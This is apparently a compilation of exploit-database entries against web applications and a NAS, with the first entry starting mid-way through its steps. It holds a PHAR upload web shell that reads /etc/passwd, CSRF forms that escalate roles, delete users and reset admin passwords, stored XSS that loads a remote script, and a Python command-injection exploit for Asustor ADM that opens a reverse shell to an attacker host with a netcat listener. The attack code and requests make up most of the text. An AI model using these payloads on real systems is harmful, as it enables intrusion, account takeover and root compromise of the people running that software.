2. Go to Announcements
3. Add Entry
4. Upload .phar file in image upload section.
.phar file Content
<?php echo system('cat /etc/passwd');?>
5. Visit .phar file ( http://localhost/admidio/adm_my_files/announcements/images/20230710-172217_430o3e5ma5dnuvhp.phar )
Request:
POST /admidio/adm_program/system/ckeditor_upload_handler.php?CKEditor=ann_description&CKEditorFuncNum=1&langCode=en HTTP/1.1
Host: localhost
Content-Length: 378
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryne9TRuC1tAqhR86r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/admidio/adm_program/modules/announcements/announcements_new.php?headline=Announcements
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ADMIDIO_admidio_adm_cookieconsent_status=dismiss; ADMIDIO_admidio_adm_SESSION_ID=penqrouatvh0vmp8v2mdntrgdn; ckCsrfToken=o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB
Connection: close
------WebKitFormBoundaryne9TRuC1tAqhR86r
Content-Disposition: form-data; name="upload"; filename="shell.phar"
Content-Type: application/octet-stream
<?php echo system('cat /etc/passwd');?>
------WebKitFormBoundaryne9TRuC1tAqhR86r
Content-Disposition: form-data; name="ckCsrfToken"
o3th5RcghWxx2qar157Xx4Y1f7FQ42ayQ9TaV8MB
------WebKitFormBoundaryne9TRuC1tAqhR86r--
# Exploit Title: Admidio 3.3.5 - Cross-Site Request Forgery (Change Permissions)
# Author: Nawaf Alkeraithe
# Date: 2018-09-01
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://sourceforge.net/projects/admidio/files/Admidio/3.3.x/admidio-3.3.5.zip/download
# Version: 3.3.5
# Tested on: PHP
# CVE: N/A
# Description:
# Low Privilage users are able to increase their permissions due to improper origin checking
# by the vendor.
<html>
<form enctype="application/x-www-form-urlencoded" method="POST" action="http://Target/adm_program/modules/roles/roles_function.php?rol_id=2&mode=2">
<table>
<tr><td>rol_name</td><td><input type="text" value="Member" name="rol_name"></td></tr>
<tr><td>rol_description</td><td><input type="text" value="All+organization+members" name="rol_description"></td></tr>
<tr><td>rol_cat_id</td><td><input type="text" value="4" name="rol_cat_id"></td></tr>
<tr><td>rol_mail_this_role</td><td><input type="text" value="2" name="rol_mail_this_role"></td></tr>
<tr><td>rol_this_list_view</td><td><input type="text" value="1" name="rol_this_list_view"></td></tr>
<tr><td>rol_leader_rights</td><td><input type="text" value="3" name="rol_leader_rights"></td></tr>
<tr><td>rol_lst_id</td><td><input type="text" value="0" name="rol_lst_id"></td></tr>
<tr><td>rol_default_registration</td><td><input type="text" value="1" name="rol_default_registration"></td></tr>
<tr><td>rol_max_members</td><td><input type="text" value="" name="rol_max_members"></td></tr>
<tr><td>rol_cost</td><td><input type="text" value="" name="rol_cost"></td></tr>
<tr><td>rol_cost_period</td><td><input type="text" value="" name="rol_cost_period"></td></tr>
<tr><td>rol_assign_roles</td><td><input type="text" value="1" name="rol_assign_roles"></td></tr>
<tr><td>rol_all_lists_view</td><td><input type="text" value="1" name="rol_all_lists_view"></td></tr>
<tr><td>rol_approve_users</td><td><input type="text" value="1" name="rol_approve_users"></td></tr>
<tr><td>rol_edit_user</td><td><input type="text" value="1" name="rol_edit_user"></td></tr>
<tr><td>rol_mail_to_all</td><td><input type="text" value="1" name="rol_mail_to_all"></td></tr>
<tr><td>rol_profile</td><td><input type="text" value="1" name="rol_profile"></td></tr>
<tr><td>rol_announcements</td><td><input type="text" value="1" name="rol_announcements"></td></tr>
<tr><td>rol_dates</td><td><input type="text" value="1" name="rol_dates"></td></tr>
<tr><td>rol_photo</td><td><input type="text" value="1" name="rol_photo"></td></tr>
<tr><td>rol_download</td><td><input type="text" value="1" name="rol_download"></td></tr>
<tr><td>rol_guestbook</td><td><input type="text" value="1" name="rol_guestbook"></td></tr>
<tr><td>rol_guestbook_comments</td><td><input type="text" value="1" name="rol_guestbook_comments"></td></tr>
<tr><td>rol_weblinks</td><td><input type="text" value="1" name="rol_weblinks"></td></tr>
<tr><td>rol_start_date</td><td><input type="text" value="" name="rol_start_date"></td></tr>
<tr><td>rol_end_date</td><td><input type="text" value="" name="rol_end_date"></td></tr>
<tr><td>rol_start_time</td><td><input type="text" value="" name="rol_start_time"></td></tr>
<tr><td>rol_end_time</td><td><input type="text" value="" name="rol_end_time"></td></tr>
<tr><td>rol_weekday</td><td><input type="text" value="" name="rol_weekday"></td></tr>
<tr><td>rol_location</td><td><input type="text" value="" name="rol_location"></td></tr>
<tr><td>btn_save</td><td><input type="text" value="" name="btn_save"></td></tr>
</table>
<input type="submit">
</form>
</html>
# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
# Date: 28/April/2017
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website:
http://provensec.com/
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://www.admidio.org/download.php
# Version: 3.2.8
# Tested on: Windows 10 (Xampp)
# CVE : CVE-2017-8382
[Suggested description]
Admidio 3.2.8 has CSRF in
adm_program/modules/members/members_function.php with
an impact of deleting arbitrary user accounts.
------------------------------------------
[Additional Information]
Using this crafted html form we are able to delete any user with
admin/user privilege.
<html>
<body onload="javascript:document.forms[0].submit()">
<form
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
<input type="hidden" name="usr_id" value='9' />
<input type="hidden" name="mode" value="3" />
</form>
</body>
</html>
[Affected Component]
http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php
------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Escalation of Privileges]
true
------------------------------------------
[Attack Vectors]
Steps:
1.) If an user with admin privilege opens a crafted
html/JPEG(Image),then both the admin and users with user privilege
which are mentioned by the user id (as like shown below) in the
crafted request are deleted.
<input type="hidden" name="usr_id" value='3' />
2.) In admidio by default the userid starts from '0',
'1' for system '2' for users, so an attacker
can start from '2' upto 'n' users.
3.)For deleting the user permanently we select 'mode=3'(as like shown
below),then all admin/low privileged users are deleted.
<input type="hidden" name="mode" value="3" />
------------------------------------------
[Reference]
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
Thanks
Faiz Ahmed Zaidi
# Title: Asustor ADM 3.1.2RHG1 - Remote Code Execution
# Author: Matthew Fulton & Kyle Lovett
# Date: 2018-07-01
# Vendor Homepage: https://www.asustor.com/
# Software Link: http://download.asustor.com/download/adm/X64_G3_3.1.2.RHG1.img
# Version: <= ADM 3.1.2RHG1
# Tested on: ASUSTOR AS6202T
# CVE : CVE-2018-11510
# References:
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11510
#!/usr/bin/python
"""
CVE-2018-11510: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11510
This exploit takes advantage an unauthenticated os command injection discovered by Kyle Lovette
if exploitation occurs successfully, a root shell is granted
Authors: matthew fulton and Kyle Lovett
Date: 27 May 2018
Background: Both Kyle and I found a number of vulnerabilities that we had independently reported
to Asustor that Asustor hasn't acknowledge nor apparenlty fixed.
After a twitter communication Kyle was kind enough to share a few details
exploit created on MacOS system, python 2.7.10, may port to metasploit module soon
Vendor link: https://www.asustor.com
Matthews-MBP:remoteunauth matt$ python admex.py -t 192.168.1.82
exploit for an unauthenticated OS command injection vulnerability that effects
Asustor ADM 3.1.2.RHG1 and below, leads to complete compromise
authors: Matthew Fulton (@haqur) & Kyle Lovett (@SquirrelBuddha)
starting netcat listener on port 1234
/bin/sh: can't access tty; job control turned off
/volume0/usr/builtin/webman/portal/apis # uname -a;id
/bin/sh: can't access tty; job control turned off
/volume0/usr/builtin/webman/portal/apis # Linux AS6202T-961F 4.4.24 #1 SMP Mon Mar 26 02:57:14 CST 2018 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
"""
import sys, threading, time, os, subprocess
import urllib2
import ssl
import argparse
class exploit(object):
def __init__(self,interval=1):
self.target = args.target
self.rport = args.port
self.lport = args.lport
self.remote = args.remote
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
#ignore ssl warnings
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
while True:
try:
turl="https://"+self.target+":"+self.rport+"/portal/apis/aggrecate_js.cgi?script=" \
"launcher%22%26python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket" \
"(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22"+self.remote+"%22%2C"+self.lport+"))" \
"%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3D" \
"subprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27%22"
response=urllib2.urlopen(turl,context=ctx)
time.sleep(self.interval)
except urllib2.URLError as e:
print "Something is wrong:|"
print e
os._exit(1)
def revShell():
print "starting netcat listener on port "+args.lport
cmd = "nc -lv {0}".format(args.lport)
os.system(cmd)
def main():
print """exploit for an unauthenticated OS command injection vulnerability that effects
Asustor ADM 3.1.2.RHG1 and below, leads to complete compromise
authors: Matthew Fulton (@haqur) & Kyle Lovett (@SquirrelBuddha)"""
goexploit = exploit()
revShell()
if __name__ == '__main__':
Help = """exploitation of a OS command injection bug that effects Asustor ADM, leads to complete compromise
authors: Matthew Fulton (@haqur) & Kyle Lovett (@SquirrelBuddha)"""
parser=argparse.ArgumentParser(description=help)
parser.add_argument('--target', '-t', default="192.168.1.82", help="Target IP", required=True)
parser.add_argument('--port', '-p', default="8001")
parser.add_argument('--lport', '-l', default="1234")
parser.add_argument('--remote','-r', default="192.168.1.253")
args = parser.parse_args()
main()
# Exploit Title: Adlisting Classified Ads 2.14.0 - WebPage Content Information Disclosure
# Exploit Author: CraCkEr
# Date: 25/07/2023
# Vendor: Templatecookie
# Vendor Homepage: https://templatecookie.com/
# Software Link: https://templatecookie.com/demo/adlisting-classified-ads-script
# Version: 2.14.0
# Tested on: Windows 10 Pro
# Impact: Sensitive Information Leakage
# CVE: CVE-2023-4168
## Description
Information disclosure issue in the redirect responses, When accessing any page on the website,
Sensitive data, such as API keys, server keys, and app IDs, is being exposed in the body of these redirects.
## Steps to Reproduce:
When you visit any page on the website, like:
https://website/ad-list?category=electronics
https://website/ad-list-search?page=2
https://website/ad-list-search?keyword=&lat=&long=&long=&lat=&location=&category=&keyword=
in the body page response there's information leakage for
+---------------------+
google_map_key
api_key
auth_domain
project_id
storage_bucket
messaging_sender_id
app_id
measurement_id
+---------------------+
Note: The same information leaked, such as the API keys, server keys, and app ID, was added to the "Firebase Push Notification Configuration" in the Administration Panel.
Settings of "Firebase Push Notification Configuration" in the Administration Panel, on this Path:
https://website/push-notification (Login as Administrator)
[-] Done
# Exploit Title: Adive Framework 2.0.8 - Persistent Cross-Site Scripting
# Exploit Author: Sarthak Saini
# Dork: N/A
# Date: 2020-01-18
# Vendor Link : https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.8
# Category: Webapps
# Tested on: windows64bit / mozila firefox
1) Persistent Cross-site Scripting at user add page
Description : The parameter 'userUsername=' is vulnerable to Stored Cross-site scripting
Payload:- <script>alert(1)</script>
POST /admin/user/add HTTP/1.1
Host: 192.168.2.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://192.168.2.5
DNT: 1
Connection: close
Referer: http://192.168.2.5/admin/user/add
Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4
Upgrade-Insecure-Requests: 1
userName=test&userUsername=<script>alert('xss')</script>&pass=test&cpass=test&permission=3
|----------------------------------------------------------------------------------
2) account takeover - cross side request forgery
Description : attacker can craft a malicious javascript and attach it to the stored xss, when admin visits the /admin/user page the payload will trigger.
-> Save the payload as exp.js
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==-
function execute()
{
var nuri ="http://192.168.2.5/admin/config";
xhttp = new XMLHttpRequest();
xhttp.open("POST", nuri, true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.withCredentials = "true";
var body = "";
body += "\r\n\r\n";
body +=
"userName=Administrator&confPermissions=1&pass=hacked@123&cpass=hacked@123&invokeType=web";
xhttp.send(body);
return true;
}
execute();
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==-
-> Start a server and host the exp.js. Send the exp.js file in the xss payload
Payload:- <script src="http://192.168.2.5/exp.js"></script>
POST /admin/user/add HTTP/1.1
Host: 192.168.2.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Origin: http://192.168.2.5
DNT: 1
Connection: close
Referer: http://192.168.2.5/admin/user/add
Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4
Upgrade-Insecure-Requests: 1
userName=%3Cscript+src%3D%22http%3A%2F%2F192.168.2.5%2Fexp.js%22%3E%3C%2Fscript%3E&userUsername=test&pass=test&cpass=test&permission=3
-> As soon as admin will visit the page the payload will be triggered and the admin password will be changed to hacked@123
|-----------------------------------------EOF-----------------------------------------
# Exploit Title: Adive Framework 2.0.8 - Cross-Site Request Forgery (Change Admin Password)
# Exploit Author: Sarthak Saini
# Date: 2020-01-18
# Vendor Link : https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.8
# CVE:CVE-2020-7991
# Category: Webapps
# Tested on: windows64bit / mozila firefox
#
#
|--!>
|----------------------------------------------------------------------------------
1) Persistent Cross-site Scripting at user add page
Description : The parameter 'userUsername=' is vulnerable to Stored Cross-site scripting
Payload:- <script>alert(1)</script>
POST /admin/user/add HTTP/1.1
Host: 192.168.2.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://192.168.2.5
DNT: 1
Connection: close
Referer: http://192.168.2.5/admin/user/add
Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4
Upgrade-Insecure-Requests: 1
userName=test&userUsername=<script>alert('xss')</script>&pass=test&cpass=test&permission=3
|----------------------------------------------------------------------------------
2) account takeover - cross side request forgery (Change Admin Password)
Description : attacker can craft a malicious javascript and attach it to the stored xss, when admin visits the /admin/user page the payload will trigger.
-> Save the payload as exp.js
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==-
function execute()
{
var nuri ="http://192.168.2.5/admin/config";
xhttp = new XMLHttpRequest();
xhttp.open("POST", nuri, true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.withCredentials = "true";
var body = "";
body += "\r\n\r\n";
body +=
"userName=Administrator&confPermissions=1&pass=hacked@123&cpass=hacked@123&invokeType=web";
xhttp.send(body);
return true;
}
execute();
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==--==-
-> Start a server and host the exp.js. Send the exp.js file in the xss payload
Payload:- <script src="http://192.168.2.5/exp.js"></script>
POST /admin/user/add HTTP/1.1
Host: 192.168.2.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Origin: http://192.168.2.5
DNT: 1
Connection: close
Referer: http://192.168.2.5/admin/user/add
Cookie: PHPSESSID=3rglrbjn0372tf97voajlfb1j4
Upgrade-Insecure-Requests: 1
userName=%3Cscript+src%3D%22http%3A%2F%2F192.168.2.5%2Fexp.js%22%3E%3C%2Fscript%3E&userUsername=test&pass=test&cpass=test&permission=3
-> As soon as admin will visit the page the payload will be triggered and the admin password will be changed to hacked@123
|-----------------------------------------EOF-----------------------------------------
# Exploit Title: Adive Framework 2.0.7 - Privilege Escalation
# Date: 2019-08-02
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.adive.es/
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows 10
# CVE : CVE-2019-14347
#Exploit
import requests
import sys
session = requests.Session()
http_proxy = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"
proxyDict = {
"http" : http_proxy,
"https" : https_proxy
}
print('[*****************************************]')
print('[ BYPASSING Adive Framework Version.2.0.5 ]')
print('[*****************************************]''\n')
print('[+]Login with the correct credentials:' '\n')
user = input('[+]user:')
password = input('[+]password:')
print('\n')
url = 'http://localhost/adive/admin/login'
values = {'user': user,
'password': password,
}
r = session.post(url, data=values, proxies=proxyDict)
cookie = session.cookies.get_dict()['PHPSESSID']
print('Your session cookie is:'+ cookie +'\n')
host = sys.argv[1]
print('Create the new user:')
userName = input('[+]User:')
userUsername = input('[+]UserName:')
password = input('[+]Password:')
password2 = input('[+]Confirm Password:')
print('The possibles permission are: 1: Administrator, 2: Developer, 3:Editor')
permission = input('[+]permission:')
if (password == password2):
#configure proxy burp
#hacer el request para la creacion de usuario
data = {
'userName':userName,
'userUsername':userUsername,
'pass':password,
'cpass':password2,
'permission':permission,
}
headers= {
'Cookie': 'PHPSESSID='+cookie
}
request = session.post(host+'/adive/admin/user/add', data=data,
headers=headers, proxies=proxyDict)
print('+--------------------------------------------------+')
else:
print ('Passwords dont match!!!')
#PoC
https://imgur.com/dUgLYi6
https://hackpuntes.com/wp-content/uploads/2019/08/ex.gif
# Exploit Title: Adive Framework 2.0.7 – Cross-Site Request Forgery (CSRF)
# Date:02/08/2019.
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://adive.es
# Software Link: https://github.com/ferdinandmartin/adive-php7
# Version: 2.0.7
# Tested on: Windows and Kali linux
# CVE :2019-14346
# 1. Technical Description:
# Adive Framework 2.0.7 and possibly before are affected by Cross-Site
#Request Forgery vulnerability, an attacker could change any user
password.
# 2. Proof Of Concept (CODE):
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/adive/admin/config" method="POST">
<input type="hidden" name="userName" value="admin" />
<input type="hidden" name="confPermissions" value="1" />
<input type="hidden" name="pass" value="1234" />
<input type="hidden" name="cpass" value="1234" />
<input type="hidden" name="invokeType" value="web" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# 3. References:
# https://hackpuntes.com/cve-2019-14346-adive-framework-2-0-7-cross-site-request-forgery/
# https://imgur.com/apuZa9q
# Exploit Title: Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting
# Date: 2023.Aug.01
# Exploit Author: Pedro (ISSDU TW)
# Vendor Homepage: https://loganalyzer.adiscon.com/
# Software Link: https://loganalyzer.adiscon.com/download/
# Version: v4.1.13 and before
# Tested on: Linux
# CVE : CVE-2023-36306
There are several installation method.
If you installed without database(File-Based),No need to login.
If you installed with database, You should login with Read Only User(at least)
XSS Payloads are as below:
XSS
http://[ip address]/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E
http://[ip address]/loganalyzer/chartgenerator.php?type=2&byfield=syslogseverity&width=400&%%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E=123
http://[ip address]/loganalyzer/details.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/index.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/search.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
http://[ip address]/loganalyzer/export.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/reports.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
http://[ip address]/loganalyzer/statistics.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
# Exploit Title: Adiscon LogAnalyzer 4.1.7 - Cross-Site Scripting
# Date: 2018-12-05
# Software Link: *httpås://loganalyzer.adiscon.com/
# <https://loganalyzer.adiscon.com/> https://github.com/rsyslog/loganalyzer
# <https://github.com/rsyslog/loganalyzer>*
# Exploit Author: Gustavo Sorondo
# Contact: http://twitter.com/iampuky
# Website: http://cintainfinita.com/
# CVE: CVE-2018-19877
# Category: webapps
# 1. Description
# Adiscon LogAnalyzer before 4.1.7 is affected by Cross-Site Scripting (XSS)
# in the 'referer' parameter of the login.php file.
# 2. Proof of Concept
http://my.loganalyzer.instance/login.php?referer=%22%3E%3Cscript%3Ealert('Cinta%20Infinita')%3C/script%3E
# 3. Solution:
# Update to version 4.1.7.
# https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/